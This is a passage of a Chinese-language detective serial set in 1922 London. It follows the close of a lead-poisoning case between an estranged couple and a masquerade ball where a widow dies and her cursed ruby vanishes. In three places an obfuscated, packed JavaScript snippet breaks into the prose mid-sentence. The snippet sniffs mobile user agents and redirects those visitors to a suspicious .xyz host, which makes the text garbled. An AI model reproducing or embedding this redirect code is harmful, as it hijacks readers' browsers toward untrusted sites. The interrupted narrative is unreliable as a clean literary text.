简拉着我，她在安抚我。 我看着那位夫人。沃尔特夫人。 那位可怜的女人，玛格丽特。 玛格丽特脸上的狂怒和怨毒像潮水般退去，取而代之的是一种令人毛骨悚然的平静，甚至带着一丝奇异的……天真？ 她歪了歪头，憔悴的面容在烛光下显出一种诡异的脆弱感。 她慢慢弯下腰，捡起地上一个被摔得有些变形的娃娃，轻轻拍掉并不存在的灰尘，然后，抬起头，看向我们。 那双眼睛里，所有的激烈情绪都消失了，只剩下深不见底的黑暗和一丝……近乎恳求的意味？ 但那恳求背后，是冰冷的算计和疯狂的执念。 她的嘴角，极其缓慢地，向上弯起一个弧度。 那笑容，比烛光更摇曳，比铅釉更冰冷。 “因为…”玛格丽特·沃尔特夫人抱着她的娃娃，声音轻柔得像情人间的呢喃，“我不甘心！” “我只是…想要…属于我的” 上帝啊。 育儿室里，烛火依旧在跳跃，映照着满墙鲜艳的手作画和散落一地的玩具。 映照着中心那个抱着娃娃，微笑的女人。 诡谲，奇异，又令人心碎。 “好吧，也许你说完了。”简拉着我，我感觉到她有些不耐。 “夫人，我说过，我们从一开始就什么都不知道。” 简带着我离开。 下楼的时候，我们碰见了沃尔特先生。 楼梯转角的光线比育儿室更暗。 亨利·沃尔特就站在下方几级台阶的阴影处。他没有像预料中那样咆哮，只是静静地站着，西装外套随意敞着，领带歪斜。 这个时候，到是显出几分昔日贵公子的气势，可惜，现在的他，头发稀疏，眼眶凹陷，面容憔悴，易怒，易躁。 他怎么在这？他听到了吗？ “沃尔特先生。”简的声音打破了令人窒息的沉默。 亨利没有回应问候。他向前挪了半步，皮鞋在木楼梯上发出沉闷的轻响。他的目光缓缓扫过简，最终停留在她的脸上，带着一种令人毛骨悚然的审视。 “育儿室……”他终于开口，声音低沉沙哑，“我那位……‘清醒’的妻子。” 他刻意加重了“清醒”二字，竭力想笑笑，反倒显出几分狰狞，“她那张能吐出毒蛇的嘴，又跟你们分享了什么‘真知灼见’？关于我的‘完美’婚姻？还是她那些……被害妄想的疯话？” 我呼吸一窒，玛格丽特怨毒的控诉和那冰冷的微笑瞬间冲回脑海。 亨利·沃尔特。 玛格丽特·沃尔特夫人的丈夫。 他害怕他的妻子戳破他的真实想法，讲出不能为外人道的心思，却不知他的妻子在诉说着如何的去报复，去谋杀他。 这对据说曾经完美的夫妻。 都想置对方于死地。 一个出于怨恨一个出于利益。 简沉默了一会，仅仅一会。她的眼神没有丝毫闪躲，反而像平静的湖面，映出亨利阴郁扭曲的倒影。 “沃尔特夫人沉浸在她巨大的悲伤里，先生。”简的声音依旧清晰冷静，却透着冷意。 “她谈论失去的孩子，谈论她曾经相信的……完美幻象。幻象的破灭总是令人心碎，尤其当它曾被视为信仰。”她的话像软刀子，精准地刺向亨利最虚伪的痛处。 亨利脸上的肌肉抽搐了一下，那抹假笑消失了，只剩下冰冷的阴沉。 “悲伤？哈！”他嗤笑一声，声音陡然升高，报躁，“她的悲伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973594|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是制造流言，歇斯底里，毁掉一切！听着，小姐们，” 他向前又逼近一步，距离近得我能闻到他身上残留的，令人作呕的甜腻香水味和淡淡的……金属味？(铅中毒可能的体味？) “我不管你们在她那个疯人院里听到了什么。这是我的房子，我的家事。聪明人，就该管好自己的眼睛和耳朵，然后……闭上嘴。把听到的，看到的，都烂在肚子里。明白吗？” 简只是冷漠地看着他。 “弗瑞，记住，我们一开始什么都不知道。” 当里斯克又在重复这句话的时候，我们正在下午一点回伦敦的火车车厢里。 所以，发生的一切本就和我们无关。 “这是一对‘完美’的伴侣，至于是佳偶还是怨侣，弗瑞，这是没有必要的问题。” “任何人，首先都是他们自己，他们该为自己做下的一切，而承担。” “可是……”我张了张口，却不知道怎么说下去。 简抱了抱我，什么也没说。 侦探不是上帝，无权审判或拯救。 而在这样复杂纠葛的事件里，无论我们做什么，即使是报警都是对另一方的不公平。 上帝在天堂俯视众生。 祂是否真的注视着，以至于让曾经或许相爱过的两个人成为这样。 我迫切地需要一些东西来转移注意力。 “简，你怎么知道沃尔特夫人在沃尔特先生的瓷杯里下毒的？” “下毒？不不不。亲爱的弗瑞，是铅。”简说。 “是沃尔特先生钟爱的鲜艳漂亮的瓷釉。也许这给了夫人灵感。而我们的沃尔特夫人，只是做了点手脚，加剧了它的致命性。” “少量醋酸铅，日复一日，而我们的沃尔特先生，刚巧需要浓厚的咖啡。玛格丽特足够聪明。” 简看着窗外说。 “但是？你怎么发现的？”我有些气馁，明明我和简一起，但是我却没有发现这些东西。 “哦…弗瑞，我只是比你多了点运气。看见她在药房的单据。” “只要说治疗皮肤病或者染发。她肯定已经在不少的药店买过了。而老约翰告诉我，当先生不在的时候，夫人总是偷偷独自出去。” 我想起简问过我的关于时间的问题，甚至又些兴奋了。“哦，简，时间！她一定是先去了药店，再来找的我们！” 简又笑了，浅绿色的眼睛亮亮的，她不说话，拉着我看外面的风景。 “好啦，弗瑞，别想了，看看风景。”她说，“也许我真的应该把买车提上日程，到时候带你去兜风。” 我也被她带偏了。 去思考到底买什么样的车。 读者们，当我写下这个故事的时候，我才反应过来，当时沃尔特先生紧随其后。 他究竟是否知道呢？ 或者说，她究竟是否知道呢？ 在这件事情没多久。 我和简的事务所（我喜欢这么叫），查令十字街12号，收到了一张慷慨的支票。 署名，玛格丽特。 后来我们听说，富有的沃尔特夫人依旧住在那座巨大的庄园里。 晨昏交替，只有两个娃娃的影子，陪她走过漫长回廊。 23. 3.1 致弗瑞·本小姐 查令十字街12号 伦敦 1922年9月21日 亲爱的本小姐： 梅菲尔区的沙龙近来总缺些新鲜气息。乔安里维奇夫人养的八哥都能把宾客名单背全了，这多无趣。 本月25日夜九时，假面舞会将为"盛会之星"启幕。您知道的，我的丈夫留下了这神秘的东方宝石，如今我斗胆让它见见场面。说来也怪，自取出它之后，女仆总念叨夜间听见我先生过去的房间有脚步声……唉，这些可怜的下人总爱用幻想填补见识的空白。 倒是想起您那位同伴。听闻里斯克小姐极其敏锐，用在小事未免可惜。若她得闲，还请同来品鉴宝石。 您无需费神回函。面具与斗篷已备妥，横竖夜色最善包容不同来处的人。 您诚挚的， 埃米尔·德·克里米亚 以上，就是克里米亚夫人送给我的邀请函，这里给各位读者附上。 在杜维恩伯爵的事情结束后，我还是偶尔去参加这些贵夫人的沙龙茶会。 毕竟，所谓的上流社会也离不开八卦与杂谈，就像简说的，我可以利用我的“体面”去打探足够的消息。 与她们交好，总归是没有坏处的。 这自然，不可避免地继续与这位社交达人克里米亚夫人打交道。 亲爱的读者，事已至此，我不太想再说什么不好的话。我只能说，克里米亚夫人是一位标准的贵夫人。她有着上流人士的教养体面，当然也不可避免的有着相关的不好的东西。 她的丈夫，是英驻东方第五军团的军团长，1918年在东方殉职，给她留下了足够的地位，财富还有底气。 至于“盛会之星”，那是一颗来自东方的红宝石，即使那听起来毫不相搭。 或许克里米亚先生命名的时候，希望宝石和她的夫人都成为“盛会之星”？ “简，据说克里米亚先生是在一个东方王子的手里得到了这颗红宝石，王子死时，诅咒得到的人会在宝石上看见欲望，也因欲望而死。所以也有人说这是代表欲望的红宝石。” 我念完邀请信，给简说着我从其他夫人那听来的消息。 来自神秘东方宝石的诅咒。 没有人不好奇。 “甚至，私下有人说，克里米亚先生的殉职和这个宝石脱不开干系。” “无稽之谈。有欲望的是人心，而不是宝石。” 简当时坐在她惯常的位置，手里在擦着她细心保养的韦伯利转轮。 说实话，我不太清楚她是怎么弄到这些武器的，想想法律和社会压力，一旦被发现，我都不敢想会有多麻烦。 当然，我会为她保持缄默。 因为当我询问她时，她浅绿色的眼睛里满是不容置疑，“弗瑞，这是为了自保。” 她从不强求我学习这种我从未接触过的东西，让一位从未接触过的淑女用枪无异于是自杀。 但我也记得，某一天，简匆忙的从外面回来，递给我一个天鹅绒匣子。 匣内并非手木仓，而是一枚嵌着蓝宝石的银戒。 “卡桑德拉的‘眼泪’，”她指尖轻推宝石，戒托下弹出一根银针，“针尖淬了强效的曼陀罗酊与颠茄液，剂量足以让一个壮汉昏睡如泥，几小时内动弹不得。小心，别碰针尖。” 她合上匣子塞进我手心，“戴着它。” 我凝视指环，“如果被搜身……” “那就微笑。”简扯动嘴角，“说这是你祖母的遗物，而你……会为了弄丢她的胸针哭泣。” 从那以后，那颗宝石戒指就一直在我的手上。 哦，抱歉，亲爱的读者，我又写偏了。 还是回到那颗红宝石吧，那颗神秘的“盛会之星”，以及那场邪恶华丽的假面舞会。 作为一个已经经历过这件事的人，读者们，原谅我用一种戏剧华丽的语调来写它。 当马车（我们尚且还没买车）停在那扇有着常青藤，爬山虎与岁月的痕迹，却依旧傲慢挺立的铁大门前时，一种近乎不祥的感觉便萦绕着我。 我和简最终还是选择来参加这场华丽的假面舞会，或者说，简是陪着我来参加这场舞会。 假面舞会。 面具是这里唯一真实的东西。 每一张描金绘彩的脸孔后面，都藏着一个更深的面孔。 人类最精妙的伪装在此刻粉墨登场。 谁也不知道伪装之下是一颗怎样的心。 …… 我和简并不愿意引人注目。 我的面具是深灰丝绒。简的则更彻底，一张毫无特征的黑色皮革，只余下那双眼睛（这还是在我的几番劝说下，至于礼服，别想了）。 音乐在缓慢地流淌，昂贵的液体在杯中晃荡，面具下的人们在轻声低语。 然后，她出现了。 埃米尔·德·克里米亚夫人出现在二楼回旋楼梯的顶端。 一切仿佛为她而生。 或者说，这本就是她的主场。 她并未佩戴繁复的面具，只以一袭猩红的曳地长裙宣告自己的存在。金发高高盘起，簪着几颗细小的钻石，冷光点点，却压不住颈项间那夺魂摄魄的光芒。 “盛会之星”。 那颗传说中的神秘东方红宝石，此刻就悬在她苍白脆弱的锁骨之下。 它并非寻常鸽血红的明艳，而是一种深邃浓郁的色泽。像极了它的来历，充满了血色的意味。 它太大了，那光芒也太沉重，沉甸甸地压在克里米亚夫人的颈项上。 她唇角带着惯有的骄傲笑意，目光扫过下方芸芸众生，带着睥睨。 看吧，这是我的荣光，我的战利品，我的…骄傲？ 她缓缓步下阶梯，猩红的裙摆摇曳，每一步都踏在无声的惊叹与欲望之上。 至少，“盛会之星”，不负它与“欲望”的牵连，无论是美名还是诅咒。 在她身后半步，如同一个被拉长的阴影。这位克里米亚夫人的贴身女仆露西。 她的面具是最简单的黑色半脸式，遮住了上半张脸，却遮不住那紧抿成条直线的嘴唇，以及那双在面具孔洞后死死锁定在女主人后背，或者说，锁定在“盛会之星”上的眼睛。 那眼神复杂得令人心悸，不是对女主人的担忧，更像是一种深切的，混合着痛楚与某种疯狂守护欲的凝视，仿佛她守护的不是眼前的夫人，而是透过宝石看到的另一个早已消逝的影子。忠诚？似乎早已在经年累月中扭曲成了某种执念。 当然，这可能是我过后回想起来，记忆给赋予的加工与神秘色彩。 当时，克里米亚夫人华丽出场后，简只是无趣地看了一眼便收回了目光。 “那的确是一颗珍贵的红宝石，简。”我说着，并抬头看她。 “嗯。”简应道，并端给我一份甜品，“吃点东西。” 那所谓代表欲望的宝石，在她的眼中，还不如食物的吸引力大，我有些失笑。 说起来，简并不缺钱，也许来源于一些慷慨的委托人？对于珠宝和珍品，她也有丰富的储藏知识，只是她通常都不太关注这些，我时常都在想是什么造就了这样的简·里斯克。 当然，读者，这些我们之后再谈。 “克里米亚夫人，”一个带着点异域腔调的声音在身边响起。 说话的男人戴着半张精致的威尼斯风格银色面具，遮住了上半张脸，露出线条优雅的下颌和薄唇。 他穿着剪裁合体的深色常礼服，姿态从容，手中端着一杯几乎没动的香槟。 “‘盛会之星’……终于得见真容了。这色泽……深邃得令人难忘……” 他的目光克制地停留在宝石上，带着鉴赏家式的专注。 “当然，感谢您的夸奖，西里弗斯先生。”克里米亚夫人带着骄傲地语气，又尽量平稳地说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973595|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我当时大概清楚这个男人是谁了，“奥古西斯·西里弗斯先生，简，他是上流社会有名的收藏家。” 来自奥地利，痴迷于宝石，不计代价。一些落魄的贵族会不得不与他交易，当然，这可不能摆台面上。 转头的时候，我注意到了一个独特的人。 “看那，简。”我靠近简，小声地示意。 靠近厚重窗帘的阴影里，几乎与褐色的窗帘融为一体。一个穿着黑色长衫的身影静静伫立。 他脸上覆盖着一张空白的白色纸面具（与整个舞会格格不入）。指间夹着一支细长的烟斗，青烟袅袅，模糊了轮廓。他像厅堂里一件被遗忘的东方陈设，只有烟斗里那点暗红的火星，明明灭灭，似乎在见证什么。 “东方人？”简的语调里有了几分兴味和探究。我想起了宝石的来历，毕竟是来自东方。 注意到我们的观察，那个人，由于各种原因以及他的身份，就让我们称呼他为东方先生吧。东方先生举起了他的烟斗，朝我们示意，带着他礼貌温和的笑意。 没等简过去攀谈，“本小姐！里斯克小姐！”克里米亚夫人的声音提高了些，带着一种刻意为之的欢快。 她向我们走来，颈间的红宝石随着步伐微微晃动。 “你们来了！”她抓住我的手腕，力道有些失控。“看！”她猛地侧过身，将宝石完全暴露在烛光下，动作带着十足展示欲。 “它美吗？它值得所有人看看，是不是？当然，它可比不过我。”她的眼睛紧紧盯着我们。 没等我接话。克里米亚夫人也不需要我接话，她只是需要展示。这个舞会，她几乎把所有有点身份的人都请来了。 “当然！夫人！”那个戴着简单黑色眼罩的年轻人就靠近说，目光灼热。 “您的美丽让一切今晚的都失去了光彩。” 也许是因为话，也许是因为人，克里米亚夫人明显更高兴了。 就在这时，一个带着明显不耐烦的女声尖锐的插进来。 “得了吧，莫里安，省省你那套，也就克里米亚…” 丽拉·乔安里维奇夫人。 这个一贯以心直口快（甚至失礼）著称的夫人。 她根本没戴什么精致面具，只随意扣了半张遮到鼻梁的黑色蕾丝面纱，露出涂得过于鲜红的嘴唇和毫不掩饰的带着评判意味的神情。 她的银灰色裙子料子很好，剪裁优良。她手里捏着酒杯，毫不客气地上下打量着克里米亚夫人颈间的宝石，撇了撇嘴。 “美？哼。克里米亚，我说句实在话，这玩意儿看着就沉。压得你脖子不酸吗？” 她声音不大，却足够清晰，周围几个离得近的宾客瞬间噤声。 克里米亚夫人脸上的笑意褪去。抓着我的手指猛地收紧，指甲几乎掐进我肉里。 简注意到了，直接把这位失控的夫人掰开，并把我往他身后带了带，“还好吗？”，她问我，但我只是摇了摇头。 至于克里米亚夫人，她的注意力已经全部集中在丽拉·乔安里维奇夫人身上。 “丽拉！”克里米亚夫人声音提高，带着被冒犯的不满，“请注意你的言辞！这是克里米亚……” “克里米亚留下的宝贝，我知道我知道。” 丽拉夫人不耐烦地挥了挥手，杯里的酒差点洒出来，她毫不在意地喝了一口，目光依旧在宝石上，带着一种毫不掩饰的审视。 “人都没了四年了，还成天把他挂嘴上，挂脖子上，不知道的，还以为你多爱他。” 她最后两个字压得低了些，却精准地踩到对方最敏感的神经。 她甚至没看克里米亚夫人瞬间煞白的脸，目光扫过旁边的莫里安，轻笑一声，“也就哄哄没见过世面的毛头小子。” 说完，她像丢垃圾一样把空酒杯塞给不知道什么时候站在一旁的侍者，转身就挤进了人群，留下身后一片死寂和几道意味不明的目光。 24. 3.2 一切安静下来了。 音乐似乎也低了下去。 侍者在忙碌着，远处传来模糊不清的笑语，衬得我们这更加死寂。 莫里安，那个年轻的艺术家（虽然我没怎么听过他的作品），脸色涨红，似乎想反驳什么，最终只是小心翼翼地看着克里米亚夫人。 没有人想替他出头，毕竟所有人都知道，他不过是克里米亚夫人的情人之一。 而我，我不太想参与这种事情。至于简，她只是拉着我离开。 “夫人，您看起来不太舒服。也许需要去休息室安静一会？” 我听见背后的莫里安说。 我忍不住回头，看见克里米亚夫人猛地吸了一口气，胸膛挺起，试图重新凝聚起那份高高在上的姿态。 那颗“盛会之星”在她脖子上晃了晃。吸引着所有人的目光。 克里米亚夫人扫过周围几张或尴尬或好奇或幸灾乐祸的面具，最终落在丽拉夫人消失的方向，那眼神充满着被冒犯的怒火。 “休息？当然！” “露西！”她厉声唤道，看也不看身后的女仆，“陪我去东休息室！立刻！我需要…我的嗅盐。” 贴身女仆露西立刻上前一步，几乎是半搀半扶地架住了女主人的胳膊。 那张被黑色半脸面具遮住大半的脸上看不出表情，只有那双眼睛，在面具的孔洞后，沉沉地望了克里米亚夫人一眼，随即落下。 她沉默地拨开人群，带着夫人朝着舞厅侧翼那扇通往私人休息区的厚重橡木门走去。 宾客们下意识地让开一条窄路，等夫人离开后，细细碎碎的低语才出现。 直到一支新的节奏明快的华尔兹响起。 人群自然地涌向中心起舞。 空气似乎都轻盈了些。 莫里安在原地踌躇了几秒，脸上交织着难堪和对夫人的关切。 他最终下定决心，快步跟了上去，在离休息室门几步远的地方停下，不安地徘徊着。 “令人遗憾的小风波。” 我听到西里弗斯先生的声音在几步外响起，他不知何时又走了过来，手里香槟还是没怎么动。银色面具遮住了他的表情。 “情绪激动对收藏品可不是好事，夫人需要好好平复。”他的语气带着一种恰到好处的关切。（当然，如果只有后面那半句就好） 角落里，那个神秘的东方先生，依旧隐在窗帘的阴影里。白色的纸面具朝着休息室关闭的门扉方向，青烟弥漫，影影绰绰，不分不明。 “先生，您好。”我走过去开口，并举杯示意道。简则是在我的身旁观察着。 “小姐们好。”东方先生温和的说，他的话语有着异邦的，奇异的韵味。 “先生，我看不出你参加这个无趣的场合的意义。”简突兀地说。我只好歉意地笑笑。 “小姐们不也参加了？”东方先生并没有被冒犯的生气，他笑着，带着一种莫名的悲哀，“我来见见属于东方的宝石。” 我一时不知道怎么接，其实我也不清楚简为什么会陪着我来参加这个舞会。而且，这宝石毕竟来自东方，带着血腥。 简到是被激起了兴致，“对于那个诅咒，东方人怎么看？” 读者们，不管是出于什么理由，这也有些无礼了，我忍不住拉了拉简。 她其实并不是没有教养，或者不懂礼仪，相反，她似乎受过高等的相关教育，但是她本人并不愿意去遵循。而且，当她想知道什么的时候，她总是有些不易察觉的审问和直接。似乎被问的人本应该回答她。 幸好那位东方先生有着很好的涵养，“我不代表所有东方人，但我认为，宝石只是宝石，牵引的欲望永远是人心。” “你说的对，先生。”简笑着，她似乎佷高兴有人和她想法一致。并且对东方先生的身份起了极大的兴趣。 我陪着她和这位先生聊了一会，之后我们就不再打扰。 丽拉·乔安里维奇夫人在人群另一侧。她正对另一位夫人说着什么，红唇撇着，显然对自己刚才的“直言不讳”颇为满意，甚至带着点胜利者的姿态。她似乎完全没在意离去的克里米亚夫人。 “简，”我低声说，手指下意识地摩挲着戒指上那颗冰冷的蓝宝石，“我感觉…会有什么不好的……” 简握了握我的手，安抚意味的，“嗯。” 她应了一声，目光扫过全场，最后，她的视线落在穿梭的侍者身上。 统一的白手套，简单的白色面具，完全不知道背后有着怎样的脸孔。 她看了看我手上的戒指，她送我的那个。 “戴好它，弗瑞。”简的声音低沉而清晰，没有多余的警告，但我也明白这背后的意味。 时间在舞步中流淌。 一曲终了，掌声响起。 舞伴们互相致谢，人群开始重新散开，组合，寻找新的目标。 社交场上的时间，总在寒暄与旋转中被模糊。 又一支舞曲响起，裙裾飞扬，水晶灯的光芒依旧璀璨夺目。 当然，我和简都没有参与进去跳舞。 我们在一旁的软垫上休息，简时不时给我拿一下甜点。 突然，“砰！哗啦！” 舞厅另一端传来刺耳的碎裂声！ 一层香槟塔轰然倒塌，晶莹的碎片和酒液四溅，引起女士们的惊呼和小范围的骚动。 侍者们慌忙涌向事故点清理，人群的视线与注意力被短暂地吸引过去。 “留意休息室的动静。”简看着某个从角落出来的侍者和我说。 然后，她站起身，叫住了那个侍者，“可以给我一杯红酒吗？” “当然，小姐。”端着托盘的侍者看了看简，用略显怪异的语调说。 “哦…真糟糕，不是吗？”简说，她似乎是失手把红酒打泼了，那鲜红的液体几乎全部落在了侍者身上。 “没事的，小姐。”侍者强笑着。 简没说话，点点头，回到了我的身边。 “怎么了？”我问。 “没什么。”简摇了摇头说。 大约一刻钟（也许更久）后。休息室的门开了。露西走了出来。 她的脸色比进去时更加苍白，嘴唇紧紧抿成一条线。 她拉住慌乱的侍者。 很快，一杯清澈的水被放在银托盘上。 就在露西端着水杯转身，准备返回休息室的瞬间。 “露西小姐。”西里弗斯先生像是恰巧走到她面前，姿态优雅地拦住了去路。 “夫人好些了吗？那颗‘盛会之星’……如此珍贵的宝石，需要格外精心的照料。不知稍后夫人是否方便，允许我近距离鉴赏一下？或许能为夫人提供一些专业的保养建议？” 他的话语礼貌周全，关切背后是毫不掩饰的目的。 露西的身体几不可察地顿了一下。 她没有抬头看西里弗斯，视线低垂着落在手中的水杯上，声音尽量平稳。 “夫人需要休息，西里弗斯先生。现在不方便。”她端着托盘的手指收紧了。 “当然，当然，理解。”西里弗斯微笑着侧身让开，目光却在露西手中的水杯和紧闭的休息室门上流连，直到露西的身影消失在门后。 门刚关上不久，莫里安似乎鼓足了勇气，上前轻轻敲了敲门。 “夫人？克里米亚夫人？您感觉好点了吗？”他的声音不大，带着小心翼翼的试探。 没有人应答。 他又敲，声调拔高，“露西？” 依旧死寂。 莫里安脸色发白，不安地搓着手。 也许是那边太混乱了，丽拉夫人便挤了过来。她脸上带着一种混合着不耐烦和虚伪关切的表情。 “克里米亚？还在里面生闷气？” 她没等莫里安回答，径直拧开了休息室的门把手。 “行了行了，多大点事，至于吗？” 她迅速进去。门在她身后虚掩着。 那边的清理工作持续了几分钟。 音乐换了一支更舒缓的曲子，试图安抚受惊的宾客。 没人能确切说出丽拉进去了多久，是两分钟？还是感觉上更久？ 当丽拉夫人再次出现时，她整个人似乎更加生气了，踩着高跟噔噔噔的就走了。 丽拉夫人刚离开不到一会，西里弗斯先生再次不经意地踱步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973596|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到门前。 他理了理领结，脸上挂着得体的微笑，直接推开了虚掩的门。 “夫人？露西小姐？希望没有打扰。关于那颗宝石的保养，有些心得，实在不吐不快……” 他边说边自然地走了进去，门在他身后合拢。里面同样传出几句低语（西里弗斯的声音似乎带着一丝急切）。 没过多久，他走了出来，脸上依旧带着微笑，但还是有着难以掩饰的失望和焦躁。 他对着空气（或者说对着一直守在附近，脸色越来越白的莫里安）微微颔首，从容走开，目光却锐利地扫过几个侍者。 西里弗斯刚走，莫里安再也按捺不住。他深吸一口气，似乎想上前敲门。 就在这时，一位衣着华丽但略显聒噪的夫人带着一阵香风“飘”了过来，热情地挽住了他的胳膊。 “亲爱的莫里安！我正找你呢！快给我讲讲，你新画的那幅《月下精灵》的构思，我完全看不懂……”这位夫人不由分说地将莫里安拖离了休息室门口，卷入了一场关于艺术的他完全无法脱身的社交谈话中。 他只能焦急地频频回头望向那扇紧闭的门，额角渗出细汗。 侍者们如同白色的溪流，无声地穿梭在重新聚集的人群中，补充酒水，收走空杯。 一个侍者，端着放有干净毛巾和一个小银壶（像是装清水或花露水）的托盘，步履平稳地走到休息室门口。 引人注目的是，他笔挺的白衬衫上，赫然浸染着一片不规则的暗红色的酒渍，在灯光下格外刺眼。 他没有任何询问，仿佛只是例行公事，直接推门而入。 门在他身后关上。 里面没有任何异常的声响传出。 一支舞曲结束，又一支开始。 人们开始觉得时间似乎变慢了。 那个侍者进去多久了？感觉比丽拉和西里弗斯加起来还长？还是因为等待而显得漫长？没人说得清。 门终于开了。侍者端着空托盘走了出来，只是多了一个水杯（也许是露西要的那个）。他神色如常，仿佛只是完成了一项日常差事。 莫里安终于艰难地摆脱了伯爵夫人，几乎是踉跄着冲回休息室门口。 他喘着气，“夫人怎么样？”莫里安拦住那个侍者。 “夫人？一切都好，露西说她需要休息。”他说。 时间又过去好几首舞。 夫人一直没有出来。 休息室的门紧闭着。 之前进去过的人，此刻都散在人群中，或交谈，或饮酒，但目光都若有若无地看向那扇门，空气中弥漫着一种令人窒息的等待。 东方先生注视着一切。 又一支舞曲结束，掌声稀落。莫里安终于等不了了，他冲了进去。 “夫人！露西！不！！！” 叫声打破了所有。 简皱了皱眉，动作迅速，跑了过去，我也跟了过去。 房间内烛光昏暗，壁炉架上火焰摇曳。 门内不远处的地毯上，贴身女仆露西蜷缩着倒在那里。 她双目紧闭，一只手无力地搭在打翻的水杯旁，水渍浸湿了深色的地毯。 而房间深处。 那张天鹅绒的贵妃榻上。 埃米尔·德·克里米亚夫人靠坐着。 华丽的猩红长裙混乱地铺展着。 精心盘起的金发依旧完美，只有鬓边的发丝松散地垂落，为她增添了几分奇异的慵懒。 她的眼睛是睁着的。空洞，茫然。仿佛望着壁炉里跳跃的火焰。 那张曾盛气凌人的脸庞，此刻是一种死气沉沉的青白。 她的手自然地垂落在身侧，也再不能举起。 埃米尔·德·克里米亚夫人。 她依旧骄傲。 而她颈间那夺目的，代表“欲望”的红宝石，“盛会之星”。 早已消失不见。 莫里安，瘫倒在地上，恐惧又崩溃。 死亡本身冰冷沉寂的味道，无声地弥漫开来，淹没了门口所有的目光。 这场盛大假面舞会。 终以最华丽的悲剧落幕。 或者，才刚刚开始。 25.3.3 “欲望…宝石…诅咒……” 惊恐又压低的声音细细碎碎地谈论着。 最终也只是在苏格兰场的警探到达时克制了一下。 人群被疏散，但恐怕要不了多久，甚至不用天明，来自东方代表“欲望”的红宝石的诅咒应验的说法，会传遍整个伦敦上流社会。 当然，这和被留在西休息室里的我没什么太大的关系。 留下来的人，有奥古西斯·西里弗斯先生，丽拉·乔安里维奇夫人，莫里安，我和简。 那位神秘的东方先生也留了下来，出于我们不知道的理由，明明整个事件与他无关。 露西还活着，她没有死。 也许是凶手给她下了安眠药？让她陷入了昏迷？ 总之，在我们注意到她尚且活着的时候没多久，她就悠悠转醒，整个人满是苍白和控制不住的颤抖。 可怜的人，我以为她吓坏了。 简在察觉悲剧之后，就迅速地要将嫌疑人（那些进出过休息室的人）带入西休息室等待，不让他们离开。 “里斯克小姐，我想你并没有这种权利！” 乔安里维奇夫人带着贵夫人被冒犯的愤怒，“克里米亚因为诅咒死了，难道，要我们这些有身份的，体面的人士因为她让名誉受到玷污吗？”说着，她提起自己的小香包就要离开。 “当然，夫人，你可以离开，但你的名誉恐怕要一直和谋杀克里米亚夫人挂钩了。” 简的语气似乎漫不经心，说出的话却掐住了夫人死穴。 “毕竟，我们都知道克里米亚夫人是因为谁而要进入休息室，不是吗？” 乔安里维奇夫人的动作僵在了原地，我想她动摇了，但是，她需要一个台阶。 没等我开口，奥古西斯·西里弗斯先生就抢先说话了。 “噢！夫人，你应该需要坐下来休息一下，顺便和我谈谈那珍贵的宝石。”奥古西斯·西里弗斯先生用他异域的语调说。 “好吧，西里弗斯先生，看在您的面子上。”乔安里维奇夫人说。 我带着这些人在侍者的引领下去了西休息室，而简则留在了东休息室调查现场。 还有贴身女仆露西，将她唤醒之后，也留在了西休息室。 所有嫌疑人应该都在休息室。 但我总感觉有哪里不对。 那个侍者！ 那个进入过克里米亚夫人所在的侍者。 我猛然想起。 那个时候，读者，你知道我有多慌张吗？所有侍者都是统一打扮，我们根本找不到到底哪个侍者是进入过休息室的人。 而且过去那么长时间，万一他走了或者消失了怎么办？ 太糟糕了，我那么久才想起来。 或者说，我当时整个人被克里米亚夫人被谋杀的可怕的事给震惊了。 即使经历那么多，还是我第二次看见有人的尸体倒在了我的面前。 我慌忙地站起来，动作几乎将整个休息室的人都给吓住了，但我也顾不上那么多了。 我必须要去找到简将这个事情告诉她。 万一，不是万一，是很大可能，那个侍者就是凶手，至少他跟整件事情脱不开干系！ 但是读者们，你们知道吗？当我跑到东休息室的时候，简，她并不在那里。 昏暗的房间里，克里米亚夫人静静闭目着。 而简·里斯克，她本应该在这里，调查克里米亚夫人的死因。 我慌忙跑出去，却迎面撞到了人。 “怎么了？弗瑞？”是简的声音。 那个时候，我顾不得想简为什么没有按她说的在东休息室，而是慌忙的拉住她说，“简，那个侍者，我们忘了那个进过休息室的侍者。” 听了我的话，简轻微地笑了，随即又压了下去。 “没事的，弗瑞，他不是凶手，只是一个小偷。”简安抚我说，“怪盗克罗斯（Cross），我想你知道他。” 哦，怪盗克罗斯（Cross），我想没有一个伦敦人不知道这位赫赫有名的怪盗。 以神出鬼没的盗窃闻名整个伦敦，专偷上层人士的财宝，更重要的是他极其怪异地在每一次盗窃之后留下他标志性的卡片。 